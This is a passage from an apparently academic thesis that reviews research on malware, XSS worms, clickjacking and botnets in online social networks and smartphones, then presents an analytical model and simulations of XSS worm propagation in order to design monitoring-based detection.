malware is exponentially proportional to the click probability.

Faghani and Saidi [30] use simulation analysis to compare the propagation dynamics,

such as rate of propagation between Trojan and XSS worms in social networks.

Yan et al. [28] studied the propagation of active malware on a real-world OSN graph

called BrightKite using simulations. They studied the impact of user behaviors and topol-

ogy on the propagation of malware. They varied users’ probability of clicking on malicious

links to see the impact of this behavior on the propagation speed. Unsurprising, the higher

the click probability, the faster the malware propagates. They also studied the impact of the

location of the initial infection on malware propagation. They found that initial infecting

nodes that seldom get online do not lead to wide-spread propagation. Moreover, they inves-

tigated different countermeasure schemes to contain malware propagation in online social

networks such as monitoring high degree nodes, monitoring active users and partitioning

network into small islands and monitoring connecting edges.

Nagaraja et al. [81] used regular emails to infect a set of users and then used social

network connections of the same set of users to send and receive command and control

messages hidden in pictures over Facebook.

Compagno et al. in [82] proposed a social network botnet that leverage OSN platform

as a means to communicate with bots and hides command using Unicode steganography.

In their design, the commands are piggy-backed on the regular content posts and thus is

hidden from OSN providers. Throughout their test, they showed that popular OSNs such

as Facebook are vulnerable to such covert channels.

Fan et al. [12] investigated malicious applications installed by users and determined the

probability of users being infected by such applications. They confirm that user behaviors

(the tendency of installing unknown or disguised applications) plays an important role in

the propagation of malware in OSNs.
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Wen et al. [22] enhanced temporal models of malware propagation in social networks

by introducing a concept, called “checking time”. In essence, checking time introduces

a time difference between the time of receipt of a payload via a malicious message and

the time of infection (execution) of the received payload. In order to include temporal

dynamics into their modeling, Wen et al. assign a checking frequency time to each user,

called Ti. Then, they track the accumulated messages between each checking frequency in

order to identify whether a user has received a malicious message from one of its neighbors

in between. Although introducing checking time concept makes the propagation modeling

closer to real-life temporal dynamics, there are many other temporal dynamics including

user’s time zones, population in each time zone, time of the day, etc that are as important

as the checking time to include in the temporal model.

Wen et al. also limit the overestimation of worm propagation by removing spread cycles.

Spreading cycles are caused by loops in the graph and introduce inaccuracy in modeling the

propagation. Loops lead to overestimation of the number of infected nodes in the graph.

Wen et al. show that it is necessary to remove up to 5-order cycles from the graph [22].

To do this, Wen et al. [22] calculate the spatial dependency as follows:

P (Xj(t− 1) = 1|Xi(t− 1) = 0) =

{
1− 1− v(j, t− 1)∏K

k=1

∏H(K)
h=1 [1− θh(t− 1)]

}
× P (Xj(t− 2) = 0)

(2.20)

where v(j, t) is the probability of node j being infected by its neighbors at time t. H(k)

denotes the k-hop spreading path that starts from node i and ends at node j. θh is the

probability that node j is infected by node i through spreading path Cij at time t. K

denotes the maximal length of the spreading paths. The effect of the fraction in the curly

bracket in Equation (2.20) is to mitigate the overestimation problem by removing spreading

paths with length K. The higher the value of K, the better the estimation. In a nutshell,

equation (2.20) shows that the spatial dependency, resulting in the infection of a susceptible

node i from its infected neighbor j. Wen et al. [22] show that the impact of removing cycles

of orders higher than five is negligible.

The limitation of the above approach is that it requires to enumerate the spreading

cycles from the susceptible nodes, passing through the infected neighbor. This enumeration

is in the order of O(E2) complexity, where E is the total number of edges of the graph,

which is indeed significant for a social network graph [83]. Also, recent malware attacks

leverage techniques to prevent infected users from receiving recovery solutions which is not

also discussed in this research.
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In summary, none of the existing works focuses on the technical details of spreading

dynamics or new attack methods that are used to deliver malware such clickjacking [84]

or use real-world platforms in order to do their studies, e.g. real-life social network. To

further clarify this issue, we were not able to see an in-depth analysis of an XSS malware in

literature. None of the existing works attempted to model the propagation of XSS worms

in social networks or discuss detection techniques that are appropriate at a scale of a social

network. Moreover, the recent attacks on social networks reveals that the cyber criminals

changed their attack method to ensure their persistence on the targeted systems. Therefore,

they leverage techniques to limit the user from accessing malware clean-up providers from

infected systems, leading to substantial changes of propagation dynamics. Furthermore,

given the ubiquitousness of mobile phone and the popularity of social networks, we predict

that cyber criminals would target social networks on cellular phones to propagate malware

in order to form botnet and also to deliver the command and control messages.

2.5 Countermeasures against Malware in OSNs

In this subsection we presents a review of countermeasures that detect, contain or filter

malware in OSNs.

2.5.1 Detection

In this subsection, we review existing research on detection of malware in OSNs, including

XSS, Trojan and clickjacking malware.

Cao et al. presented PathCutter [39] an XSS detection tool that can detect traditional

XSS and DOM-based XSS vulnerabilities. Pathcutter consists of two integral mechanisms:

view separation and request authentication. A view is a portion of a web application. At

the client side, a view is defined in the form of a web page or part of it. This isolation helps

protecting a view from another view that may be running a malicious script. Pathcutter

divides the web application into different views, then isolates different views on the browser

side. The solution also provides a per-URL session token and referrer-based view validation

to protect against other XSS-related types of attacks. PathCutter can be implemented using

server code modifications or as an standalone proxy server. The main disadvantage of the

PathCutter solution is the long rendering latency introduced by PathCutter at the client

side. For example, in a post with 45 comments, the system will respond to users’ requests

with 30% higher latency compared with the case where PathCutter is not implemented.
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Sun et al. [85] proposed a client-side solution to detect XSS worms using a Firefox plug-

in. As part of their approach, they use string comparison to detect worm propagation. Sun

et al. propose a similarity detection algorithm in search of a possible XSS worm payload.

However, string comparison and similarity detection are vulnerable to polymorphic attacks.

Kartaltepe et al. [86] proposed a detection scheme for botnets that use OSN as their

Command and Control (C&C) infrastructure. Their detection solution consists of two differ-

ent parts: server-side and client-side solutions. At the server side, the detection mechanism

is implemented as a light-weight classifier to determine if the (text) message is suspicious

or not, by looking at the textual content. This technique can be easily bypassed as cy-

ber criminals can leverage different obfuscation techniques to avoid getting caught by the

light-weight text classifiers.

Cao et al. [87] designed and implemented a defense mechanism called SynchroTrap for

detecting large groups of malicious accounts on Facebook. SynchroTrap clusters user ac-

counts based on their similarity of actions for a sustained period of time. SynchroTrap

was able to identify two million malicious accounts and 1,156 attack campaigns within one

month of operation. Egele et al. [88] developed a system called COMPA to detect compro-

mised accounts in social networks using statistical models. They applied their method to

Facebook and Twitter datasets and were able to identify a large number of compromised

accounts in both social networks. Stringhini et al. [89] designed a system called EvilCohort

that detects online accounts that are accessed by a common set of infected machines. In

particular, EvilCohort identifies sets of online accounts that are all accessed from a number

of shared connection points (e.g., IP addresses) from which the attackers try to log into

compromised accounts.

At the client side, their detection algorithm checks three different attributes: self-

concealing, dubious network traffic and unreliable provenance. These attributes identify

malicious activity indicators including but not limited to social network connection re-

quests, suspicious file downloads and lack of graphical user interface. As a result, they were

able to identify social network based botnets such as Naz and Naz+ [86].

Rahman et al. [90] presented a Facebook application that identifies “socware” in OSNs.

They define socware as any parasitic behavior in OSNs. This includes posts that spread

malware, web pages pointed to malware, false reward posts, rogue Facebook applications,

requests, surveys, and likejacking. They use machine learning techniques to distinguish

between socware posts and benign posts. They estimate the false negative rate of their

system to be about 0.3%.

Xu et al. [36] propose a correlation-based scheme to detect active worm propagation
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in OSNs. They assign “decoy friends” to a subset of users, and the “decoy friends” will

monitor network activities. The main disadvantage of this scheme is the difficulty of getting

users’ consent to add “decoy friends” to their friend networks as this may infringe upon

their privacy. Xu et al.’s scheme defends against active worms in OSNs such Koobface and

is not designed for detection of passive worms such as XSS worms.

Stringhini et al. [91] studied the detection of spammers using “honey” profiles in three

major OSNs: Facebook, Twitter and MySpace. In the case of Facebook, they manually

created (fake) profiles to join 16 different geographical networks. The profile sat dormant

and did not send “friend requests” to the members of the group but accepted friend re-

quests from others for one year. To differentiate between spam bots and legitimate users,

they manually inspected the profiles that were requesting friendships. On Facebook, they

manually identified 173 spam bots out of 3,831 accounts that were supposed to be spam-

mers. They used this outcome to train their detection system. They applied their classifier

to about 800,000 profiles and detected 130 spammers in this data set, yielding an estimate

of 2% false positives and 1% false negatives. The algorithm uses the following parameters

to detect spammers: ratio of followers over followees, URL ratio (presence of URLs in the

logged messages), message similarity, number of messages sent, and number of friends. The

authors noted that most of the spam campaigns observed were related to adult websites.

Yan et al. [28] describe three approaches for monitoring users in OSNs in order to

detect malware using (1) node degree metric, (2) user activities and (3) network partition

into small islands. In the first approach, nodes with the highest degrees are chosen to be

monitored. In the second approach, the most active nodes are selected for monitoring.

Examples of the most active nodes are major broadcasting companies such as CNN and

BBC, which post news updates frequently throughout the day via OSNs (e.g., Facebook

and Twitter networks). In the third approach, an OSN is partitioned into small islands,

and every message exchanged between islands is inspected for potential viruses/malware.

The above three approaches are applicable to active malware that self-propagate through

a victim’s friend list. Passive malware such as XSS worms, on the other hand, stay dormant

in an infected profile, waiting for a user to click on that profile, visit it and become infected.

Therefore, containing XSS worms is not pertinent, as they do not actively self-propagate.

A more effective method is to detect their presence via monitoring and then take corrective

actions. In this thesis, Chapter 3, we propose a new technique to detect XSS malware by

monitoring a particular set of nodes that have high number of connections to different com-

munities in a Social Network. We demonstrate the effectiveness of our approach compared

to other proposed techniques in the same chapter.
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Yu et al. [92] proposed a classification approach to detect XSS malware in OSNs in their

early stage of propagation. First, they analyze OSN webpage features to build their classi-

fier. Then, they take into account three correlation features to detect suspicious JavaScript

malware that could have been injected as part of a XSS attack. These correlated parame-

ters are: suspicious JavaScript strings, suspicious HTML tags and suspicious URLs. Their

evaluated result show less than one percent of false negative and false positives on a real

world data set.

Sood et al. [93] classify malicious software that exploit trust relationship between OSN

user to propagate themselves into four categories: (1) Injectors, (2) Password stealers, (3)

Vulnerability exploits and (4) Malvertising. They call these four categories “Socioware” and

provide detection design against each method. They state that two-factor authentication

and user-feedback security programs can play an important role in containing malware

propagation in OSNs.

2.5.2 Other Countermeasures

It is proven that OSNs are vulnerable to large-scale infiltration. Boshmaf et al. [14] were

able to infiltrate Facebook and operate a social botnet for a period of eight weeks. Boshmaf

et al. list potential challenges in designing a proper system to detect fake profiles. Fake

profiles can be used to spread spam, disinformation or even influence trading algorithms

that use public opinions for trading in the stock market.

Nguyen et al. [94] focus on how to limit the spread of misinformation. In their proposed

containment/disinfecting scheme, a set of highly influential nodes are selected to spread the

correct information, which helps to contain the misinformation.

Defense and detection mechanisms against clickjacking have previously been studied

[95–98]. To protect against likejacking, browsers can use “X-frame options” in the HTTP

response headers [75] to avoid a frame from being hidden under another layer. Since some

legacy browsers may not support such an option, Rydstedt et al. [95] propose a technique

called framebusting to prevent clickjacking by incorporating a JavaScript into sensitive

pages (Sensitive pages can be a Facebook’s like iframe which can be used to perform like-

jacking attacks.). This JavaScript prevents pages from being framed into another page,

thus filtering sensitive pages from being clickjacked. Niemietz et al. [96] discussed different

clickjacking attack vectors, and introduced an automated detection system that is based

on web page statistics. For OSNs such as Facebook, Johns and Lekies [97] proposed a

likejacking protection technique based on three pillars: Javascript visibility check, a se-
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cure in-browser communication protocol and integrity of essential Document Object Model

(DOM) properties and APIs. Rehman et al. [98] proposed a browser-based solution to pro-

tect against cursor spoofing and clickjacking, which can help to detect likejacking in online

social networks.

In addition to the above artificial- intelligence-based approaches, several OSNs such as

Facebook have partnered with antivirus providers to enhance their abuse detection sys-

tems [99], [100], [101] and [102] over time to proactively combat malware.

2.6 Existing Studies on Modeling Malware Propagation

Most existing works on the topic of modeling propagations of worms and malware are for

networks such as people, email and cellular phones, which have been in existence much

longer than online social networks.

Many of these models [18–21] assumed that each user is directly connected to every

other user in the same network (also known as “homogeneous mixing”). This assumption

does not hold true for a real-world OSN such as Facebook where each user is directly

connected to only his/her friends. As a result, the “homogeneous mixing” assumption

may lead to an over-estimation of the infection rate in a real OSN [22, 23]. Cheng et

al. [24] proposed a propagation model for malware that targets multimedia messaging service

(MMS) and bluetooth devices. Chen and Ji [25] and Chen et al. [26] modeled the spreading

of scanning worms1 in computer networks. Zou et al. [23] and Komnios et al. [27] studied

the propagation of email worms. Wen et al. [22] also modeled the propagation of malware

in email networks and in semi-directed networks represented by mixed graphs (i.e., a subset

of edges are directed while the others are undirected). Our work in the dissertation focuses

on modeling propagation of malware in online social networks represented by undirected

graphs such as Facebook, Linked and Orkut.

There exist few works on the topic of modeling propagations of malware in OSNs.

Faghani and Saidi [32] proposed a very simple model of propagation of XSS worms, which

does not reflect topology characteristics of a social network. Sanzgiri et al. [33] mod-

eled the propagation of Trojans in the social network Twitter where most relationships

are one-directional (follower-followee), unlike mutual relationships in Facebook or LinkedIn

networks. We propose models that characterize propagation dynamics of XSS worms and

1Scanning worms, scan targets, such as computers, routers, etc. for exploitable vulnerabilities in order

to deliver the malicious payload via vulnerability exploit.
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Trojans in OSNs represented by undirected graphs such as Facebook.

2.7 Existing Studies on Smartphone Malware

Smartphones enable users to access a vast variety of Internet services, such as web, email

and online social networks. The ubiquitous nature of smartphones make them vulnerable to

targeted malware attacks. Adversaries would write smartphone malware to target individual

users or a group of users to form smartphone botnets. Symantec reported that the volume of

malware targeting Android devices which account for more than 84.3% smartphone market

[103] has grown by 40% in 2015, compared to a 20% growth in 2014 [104].

2.7.1 How Smartphone Users are Impacted?

Cyber criminals sneak malware into smartphones using different techniques such as ex-

ploiting vulnerabilities, disguising malware as benign applications, or abusing certificates

[104, 105]. The two most common techniques to deliver mobile malware are to exploit

existing software vulnerabilities on the smartphones or to disguise malware as a benign

application [105–107].

Vulnerabilities can result from various sources. One of the sources is flaws or bugs in

the smartphone’s operating software (OS) software itself. The three major mobile phone

operating systems − Android, Symbian and iOS − have been shown to be vulnerable to

malware attacks [105,106,108]. Another source of vulnerabilities comes from users who do

not have adequate anti-virus or anti-malware software protection or do not update their OSs

with security patches. According to a recent report on mobile malware jointly issued by the

Department of Homeland Security (DHS) and the Federal Bureau of Investigation (FBI),

79% of malware threats target Android devices due to Android’s popularity (resulting from

its market share and open source architecture). However, 44% of the Android users are

still using Android version 2.3.3 to 2.3.7 (known as Gingerbread) that have vulnerabilities

that were fixed in later versions. To make the matter worse, the limited processing and

storage capability of mobile phones makes it difficult for anti-malware software vendors to

implement complex heuristic techniques to identify zero-day malware (previously unknown

malware) before they start to propagate in the wild [108].

Malware can also masquerade themselves as benign applications in order to lure users

into installing them. For instance, Kaspersky Labs identified the first Android Trojan, i.e.,

SMS.AndroidOS.FakePlayer.a, a malware that posed itself as a media player application.
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RootSmart, DroidDream and Gooligan are the three high-profile mobile malware that found

their ways into victim’s via application installation [109], [110], [111], [112].

2.7.2 Studies on Smartphone Malware

Recently, researchers have done extensive research on smartphone malware classification

and modeling [105,107].

Rhodes and Nekovee [113] used SIR models to model propagation of bluetooth worms

by taking into account the node density and average speed of smartphone users.

Martin et al. [114] used SIS models to predict the spread of cell phone viruses. Unlike

the work by Rhodes and Nekovee, the authors did not consider the impact of proximity on

the propagation dynamics.

Ramachandran and Sikdar [115] studied the impact of various spreading factors, such as

downloads from P2P or Internet, WiFi connections, SMS and MMS messages on propagation

of malware on mobile phone systems.

Traynor et al. [48] theorize the existence of cellular botnets. They conclude that the

rigid hierarchical structure of cellular networks make them more vulnerable than other

types of networks to a simple threat such as denial-of-service attacks. They also show that

a relatively small number of infected phones can easily shut down the core network.

Cheng et al. [24] introduced a hybrid malware that can propagate through smartphones.

In their study, they suggest a model which is inspired by existing epidemiological models that

take into account spatial social interactions. This model, which is based on the susceptible-

infected model, is defined by the following equation:

dIMMS

dt
= βMMS

S(t)(ηMMS − 1)

N
I(t) (2.21)

whereN is the total number of nodes in the network. IMMS denotes the number of infectious

nodes that propagate via Multimedia Messaging Service (MMS). βMMS is the infection rate

at which susceptible nodes become infected after receiving the malicious message. ηMMS is

the average degree of the network.

Singh et al. [49] study the feasibility of using Bluetooth as the command and control

(C&C) channel of a botnet.

Mulliner et al. [47] propose a SMS-HTTP command and control system in which com-

mands created by the botmaster are sent to bots via SMS. The commands are then uploaded

to designated websites in an encrypted file. Each bot will download and decrypt the file,

and send out the commands to other bots via SMS.
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Zeng et al. [50] design a SMS-P2P hybrid botnet which uses SMS as the C&C channel,

and the peer-to-peer network as the underlying structure. In this botnet, no IP connection

is involved. Bots search and obtain commands in a P2P fashion by sending and receiving

SMS messages. This approach easily leads to detection since it imposes significant monetary

costs on the victims by sending SMS messages to get the commands via the P2P system.

Many cellular network providers charge a fee for using SMS.

Andbot [51] eliminates the weakness of a single point of failure in HTTP-based C&C

schemes by taking advantage of URL fluxes. This makes the botnet more resilient to

different types of attacks such as DNS sinkhole and IP black listing.

Using OSN messaging systems as the C&C channel makes the botnet more difficult to

be detected and more robust against bot failures or unavailability.

2.8 Chapter Summary

In this chapter, we have discussed online social network characteristics in a graph theory

context. The discussion will help us better understand malware propagation dynamics from

a topological perspective.

Furthermore, we have reviewed different malware classifications. Web-based malware

potentially has more targets than any other types of malware. Among web-based services,

social networks are among the most popular. This popularity has attracted cyber criminals

to use OSNs as a means to deliver malware. We have also reviewed different malware prop-

agation models pertaining to each type of malware. Malware propagation models help us to

better understand their propagation dynamics in order to develop better countermeasures.

Moreover, we discussed two major types of malware that target online social network

users: cross-site scripting worm and Trojan. We also reviewed, the implementation click-

jacking worms, and two variants of Trojans operating in OSNs, i.e., Magnet [41] and

extension-based malware [16]. We reviewed the underlying vulnerabilities that provide

means for cyber criminals to develop these types of malware.

Finally, we have reviewed existing research on detection, containment or filtering mal-

ware on social networks. We observe that most of the current research focuses on detecting

malware during their early stages of propagation. There are a few algorithms that propose

techniques to contain malware propagation, by monitoring particular nodes and edges. Fil-

tering spam bots and preventing clickjacking by modifying current web technologies are

other topics that we have reviewed in this chapter.

51



Chapter 3

Modeling the Propagation of XSS

Worms in OSNs

3.1 Introduction

Cross-site scripting (XSS) worms exploit an existing vulnerability to propagate themselves

into a web applications. The first OSN worm, Samy, that hit MySpace in 2005 exploited a

cross-site scripting (XSS) vulnerability in MySpace web application, resulting in about one

million infection within 24 hours [11, 32], proved to be the fastest propagated malware by

that time [11].

As discussed in Chapter 1, XSS worms exploit existing vulnerabilities in web applications

to propagate themselves. An XSS worm usually infects members of an OSN in two steps.

In the first step, the worm creator embeds the malicious code into his/her (usually

fake) profile or wall. In the second step, any person who subsequently visits the infected

profile will inadvertently execute the embedded malicious code. An XSS flaw (such as the

one exploited by Samy) will help the worm to execute the malicious code in the visitor’s

browser while an AJAX (Asynchronous JavaScript and XML) technology unintentionally

enables the code to embed itself into the visitor’s profile. The visitor’s profile then becomes

infected, which allows the worm to propagate further in the OSN.

Unfortunately, there has not been any in-depth research on XSS worms and their prop-

agation dynamics in online social networks. Our work in this chapter focuses on character-

istics of XSS worm propagation in OSNs, which will allow us to design more effective and

resource-efficient countermeasures. In particular, we present analytical models and simu-

lation results that characterize the impacts of user behavior, community structure of OSN
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networks and community size of OSN networks on the XSS worm propagation speed. The

proposed analytical models and simulation results show that the clustered structure of a

community and users’ tendency to visit their friends more often than strangers help slow

down the propagation of XSS worms in OSNs. Furthermore, the obtained results moti-

vated us to go one step further by identifying and evaluating potential algorithms for more

resource-efficient detection mechanisms. That is, instead of Facebook’s exhaustive checking

method which performs real-time checking on every read and write post, we propose differ-

ent selective-monitoring methods that select only a set of important users in the network

and monitor their and their friends’ activities and posts for malware threats. Our result

show that the cross-clique connectivity method outperforms the other proposed algorithms.

The remainder of the chapter is organized as follows: In section 3.2, we describe the

system model and simulation parameters used in the chapter. In section 3.3, we present

an analytical model that characterizes XSS worm propagation in OSNs based on users’

probability of visiting friends versus strangers. In section 3.4, we study the impact of the

clique size on the propagation speed. We continue our study of XSS worm propagating in

section 3.5 by presenting simulation results that demonstrate the effect of the clustering

coefficient on malware propagation. In section 3.6, we discuss and compare several selective

monitoring schemes used for malware detection. We summarize this chapter in Section 3.7.

3.2 System Model and Simulation Parameters

We represent an OSN using an undirected graph G = (V,E) in which each vertex (or node)

v ∈ V represents a user, and an edge e ∈ E between two vertices indicates the existence

of a relationship (friendship) between the two respective users. There exist many OSNs in

which the relationship (friendship) between two users is mutual (e.g., Facebook, LinkedIn,

Orkut), and they thus can be represented by undirected graphs.

As discussed in Chapter 2, an OSN has the following three distinct characteristics [43,

44, 54] that make worm propagation different from that in other types of networks (e.g.,

computer networks).

1. A social network typically has a low average network distance, approximately equal

to logN/ log d, where N = |V | is the number of vertices (people), and d is the average

vertex degree of the graph G.

2. Node degrees of a social network graph tend to be or, at least approximately, power-

law distributed.
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Table 3.1: OSN graph used in our simulation

Parameter Value Value Value Value

Number of vertex (people) 3000 10,000 20,000 100,000

Number of edges 8991 29991 59991 299991

Average clustering coefficient 0.63 0.62 0.63 0.62

Average shortest path length 5.1 5.5 5.7 6.4

Network diameter 11 13 13 15

Maximum node degree 129 226 456 1281

Average node degree d 5.99 5.99 5.99 5.99

log(n)/ log(d) 4.4 5.14 5.52 4.2

Number of cliques with size of three 7509 24789 49685 248029

Number of cliques with size of four 1517 4797 9693 48037

3. Social networks typically show a high clustering property, or high local transitivity.

That is, if person A knows B and C, then B and C are likely to know each other.

Thus A, B and C form a friendship triangle. Let k denote the degree of a vertex v.

Then the number of all possible triangles originated from vertex v is k(k − 1)/2. Let

f denote the number of friendship triangles of a vertex v in an OSN graph. Then

the clustering coefficient C(v) of vertex v is defined as C(v) = 2f/(k(k − 1)). The

clustering coefficient of the graph is the average of the clustering coefficients of all of

its vertices. Clustering coefficients of real-life OSNs range from 0.1 to 0.7 [43,44].

As discussed in Chapter 2, there exist a few algorithms that can generate social network

graphs with the above characteristics [2, 43, 44, 54]. For the simulations presented in this

chapter, we use the algorithm proposed by Holme and Beom [44]. We generated four OSN

graphs of sizes N1 = 3, 000, N2 = 10, 000, N3 = 20, 000, and N4 = 100, 000 nodes. The

parameters and characteristics of the OSN graphs are listed in Table 3.1.

We define an event or a visit in an OSN to be the action of visiting (accessing) a user’s

profile by some other user. We assume that events in an OSN happen consecutively one

after another. (Two different users may click on the same profile at the same time. Their

access requests, however, will be queued at a server consecutively, waiting to be processed.

The two events are thus considered to happen one after the other.)

The simulation software is implemented using MATLAB. The simulation is of discrete-

event type, consisting of discrete virtual time slots. A time slot is equivalent to an event
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defined above. In each time slot, a user (node) j is chosen randomly with a probability

φ = 1/N and the user will visit a friend’s profile with a probability pvj and a non-friend

user’s profile with probability 1−pvj . Two users are friends if and only if their corresponding

vertices in the OSN graph is connected by an edge e ∈ E. Each data point in the result

graphs is the average of 100 runs, each with a different random seed.

If a user’s browser has add-on protections (e.g., NoScript add-on for Firefox browsers)

to prevent XSS scripts from running automatically, that user is considered not vulnerable

to XSS worms. We will consider only vulnerable users in our analysis and simulations, i.e.,

the probability that a user j has no add-on protection pinfj is one, for every j. Furthermore,

we assume that the XSS malware exploits a stored XSS vulnerability in social network web

applications. In the case of Samy worm, the stored XSS malware code was not visible to

users. However, in practice, some indications may be visible to infected users and thus may

alert some suspicious users. For instance, Samy worm caused infected profiles to send friend

requests to the attacker(s) without the profile owners’ knowledge. When the attacker(s)

accepted the friend requests, the owners of the infected profiles would receive notifications

of friend request acceptance. They may notice the problem and send reports or complaints

to the system administrator, thus increasing the chance of the malware being removed from

the system. In our analytical and simulation studies we do not consider such behaviors, i.e.,

users identifying signs of profile infection and sending complaints to network administrators.

These behaviors will be studied in our future work.

3.3 User Behaviors

In the case of XSS malware, user behaviors can be characterized by the tendency of visiting

friends’ profiles versus strangers’ profiles, i.e., by the visiting-friends probability pvj . We

assume that a user’s profile is always accessible to all of his/her friends. However, a person’s

profile may not be available to all strangers. We assume that the probability that a stranger’s

profile is accessible to a user j is wj . As our proposed analytical model and simulation results

will show, visiting friends more often than stranger helps to contain a malware within a

community, slowing down its propagation.

3.3.1 Analytical Model

Table 3.2 lists the definitions of the variables used in the following analysis. We compute

the total number of infected profiles I[t + 1] at the end of the (t + 1)th event, given N ,

I[0] = 1, πj , pvj and rj as initial conditions.
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The probability that a susceptible user j gets infected at the end of the (t+1)th event

is:

p(j ∈ I[t+ 1] | j ∈ S[t]) = p(j ∈ S[t])× pinfj
×
(
pvj ×

Ij [t]

rj
+ (1− pvj − πj)× wj ×

(
I[t]− Ij [t]
N − rj

))
(3.1)

Eq. (3.1) states that a user j will become infected if he/she has visited an infected friend

with a probability pvj or an infected stranger with a probability 1−pvj−πj with an accessible

profile. If we take the above sum of p(j ∈ I[t+ 1] | j ∈ S[t]) over all users, the result is the

average number of infected profiles in the OSN at the end of the (t + 1)th event, which is

denoted by ∆[t+ 1]. That is:

∆[t+ 1] =

N∑
j=1

φ× p(j∈I[t+ 1] |j∈S[t])× 1

=

N∑
j=1

1

N
× p(j ∈ S[t])× pinfj

×
(
pvj ×

Ij [t]

rj
+ (1− pvj − πj)× wj ×

(
I[t]− Ij [t])
N − rj

))
(3.2)

Therefore, the number of friends of user j that are infected at the end of the (t+ 1)th event

is as follows:

Ij [t+ 1] = Ij [t] + ∆[t+ 1]× rj − Ij [t]
N − I[t]

(3.3)

Using Eq. (3.3), we can calculate the number of infected users in the OSN at the end of

the (t+ 1)th event, as follows:

I[t+ 1] = I[t] + ∆[t] (3.4)

Numerical Results: Given that both numerical model and simulation results yield ex-

pected values of the variables, we assume that all users in the network have the same

visiting-friends probability pvj = pv, πj = 0 and wj = pinfj = 1, we plotted graphs of

function I[t + 1] given N = 3, 000 nodes (users), I[0] = 1, and three different values of pv

= 0.1, 0.5 and 0.9. The graphs in Fig. 3.1(a) show that as people visit their friends more

often than strangers (pv = 0.9), the worm propagation is slower. For instance, after the

4000th event, there are 2,980 infected users in the network when pv = 0.1 versus only 350

when pv = 0.9. The reason is that the worm circulates for a while within a group of friends

(a community) before reaching out to other parts of the network.
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Table 3.2: Variable definitions

Parameters Definition

N Initial number of susceptible profiles

I[0] = 1 Initial number of infected profiles, which is one.

πj Probability of user not visiting a friend or a stranger.

pvj Probability that user j visits a friend’s profile

pinfj Probability that user j does not have add-on protections

1− pvj Probability that user j visits a stranger’s profile

rj Degree of node j (the number of friends user j has)

I[t] Total number of infected profiles at the end of the tth event

S[t] Number of susceptible profiles remaining at the end

of the tth event. Thus I[t] + S[t] = I[0] +N

p(j∈I[t+ 1] |j∈S[t]) Probability that a susceptible user j gets infected at the end

of the (t+1)th event

p(j ∈ S[t]) Probability that user j is uninfected at the end of

the t event, p(j ∈ S[t]) = 1− I[t]/N

∆[t+ 1] Average number of infected profiles at the end of

the (t+ 1)th event

φ = 1/N Probability of choosing a user for an event, φ = 1/N

wj Probability that a stranger’s profile is accessible to the user j

Ij [t] Number of friends of user j that are infected

at the end of the tth event
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(a) Numerical results for Eq. (3.4), N = 3, 000
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Figure 3.1: User behaviors: impacts of the visiting-friends probability
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(b) N = 3, 000 nodes, varying both k and pv

Figure 3.2: Impacts of the number of cliques

3.3.2 Simulation Results

To validate the proposed model, we performed simulations using the two OSN graphs of

sizes 3,000 and 10,000 nodes as described in Section 3.2. We assume that all users have the

same visiting-friends probability pv. In each time slot, an uninfected user is chosen randomly

based on a uniform distribution, who will visit one of his/her friends with probability pv,

or a stranger with probability of 1 − pv. We recorded the number of infected users at the

end of each event given pv = 0.1, 0.5 and 0.9 to plot the graphs shown in Fig. 3.1(b) and

Fig. 3.1(c). The simulation results show that increasing the value of pv slows down the

propagation. The results are consistent with the proposed model presented above.

3.4 Clique Sizes

In a highly clustered OSN, users form small cliques (also called communities or groups) [45].

Members of a clique tend to visit each other (their friends) more often than strangers (people

outside the clique). Assume a network of N users that are divided into n small groups

(cliques). A clique is defined as a maximal complete sub-graph of three or more nodes.

Given the tiny social network in Fig. 4, two examples of cliques are {v1, v2, v3, v4, v5} and

{v5, v6, v7}.
Assume that each clique i in a social network has Si members and clique members are

only connected to each other and not to other cliques. Thus,
∑n

i=1 Si = N . Each member

of a clique will visit members in the same clique (friends) with a probability pv and visit

members outside the clique (strangers) with probability 1 − pv. Let Ii denote the current

59



1 2 3 4 5 6 7 8

x 10
4

500

1000

1500

2000

2500

3000

Number of events

N
u

m
b

er
 o

f 
in

fe
ct

ed
 p

ro
fi

le
s

 

 

ERG, N=3000, p
v
=0.9

OSN, N=3000, p
v
=0.9

(a) N = 3, 000 nodes

0.5 1 1.5 2 2.5 3

x 10
5

1000

2000

3000

4000

5000

6000

7000

8000

9000

10000

Number of events

N
u

m
b

er
 o

f 
in

fe
ct

ed
 p

ro
fi

le
s

 

 

ERG, N=10,000, p
v
=0.9

OSN, N=10,000, p
v
=0.9

(b) N = 10, 000 nodes

Figure 3.3: Impacts of clustering coefficients: OSN graphs vs. ERGs
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Figure 3.4: A tiny social network graph

number of infected users in clique Si. If a user u from clique S1 visits a profile in the OSN,

the probability that u will get infected is as follows:

S1

N
× S1 − I1

S1
× pv ×

I1

S1
+

n∑
i=2

S1

N
× S1 − I1

S1
× (1− pv)×

Si
N
× Ii
Si

(3.5)

Thus the average number of new infections in the next visit is as follows:

n∑
i=1

(
Si
N
× Si − Ii

Si
× pv ×

Ii
Si

+

n∑
j=1,j 6=i

Si
N
× Si − Ii

Si
× (1− pv)×

Sj
N
× Ij
Sj

) (3.6)
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=
n∑
i=1

(Si − Ii)× pv × Ii
Si ×N

+
(Si − Ii)× (1− pv)

N2

n∑
j=1,j 6=i

Ij

 (3.7)

Expression (3.7) shows that the infection rate (propagation speed) depends on both the

community size Si and the visiting-friends probability pv.

We carried out two experiments using a network of 3,000 nodes1 to study the effect of

the clique size Si and the visiting-friends probability pv on the infection rate. We divide N

users into k cliques where k ≤ N
3 . This ensures that each clique has at least three members.

If N is not divisible by k then some cliques will have one member more than the others. For

instance, if N = 100 and k = 30, then 20 cliques have 3 members each, and the other 10

cliques have 4 members each. This allows all cliques to have approximately the same size,

which satisfies the purpose of this experiment, i.e., the impact of the number of cliques on

malware propagation speed in OSNs. We will conduct other experiments in order to study

the impact of different distributions of clique sizes on malware propagation in OSNs in our

future work.

In the first experiment, we measured the number of events required in order to infect

10%, 50% and 90% of the network population, respectively, assuming a visiting-friends

probability pv = 0.9. (A higher number of events required implies a slower propagation.)

The results given in Fig. 3.2(a) show that as the clique size decreases and thus the number

of cliques increases, it requires more events to infect the same number of people. In other

words, increasing the number of cliques leads to slower propagation. For instance, when the

number of cliques goes from 200 to 600, the number of events required in order to infect

90% of the network population increases from 7,980 to 11,780 events, or 1.5 times.

To explain the simulation results, consider the following example with two scenarios. In

the first scenario, all 3000 members of the OSN form one clique. In the second scenario,

the OSN is divided into 100 cliques, each having 30 members. Assume a visiting-friends

probability pv = 1. That is, every user visits only his/her friends in the same community

and never a person outside his/her community. In the first scenario, if a user u is infected

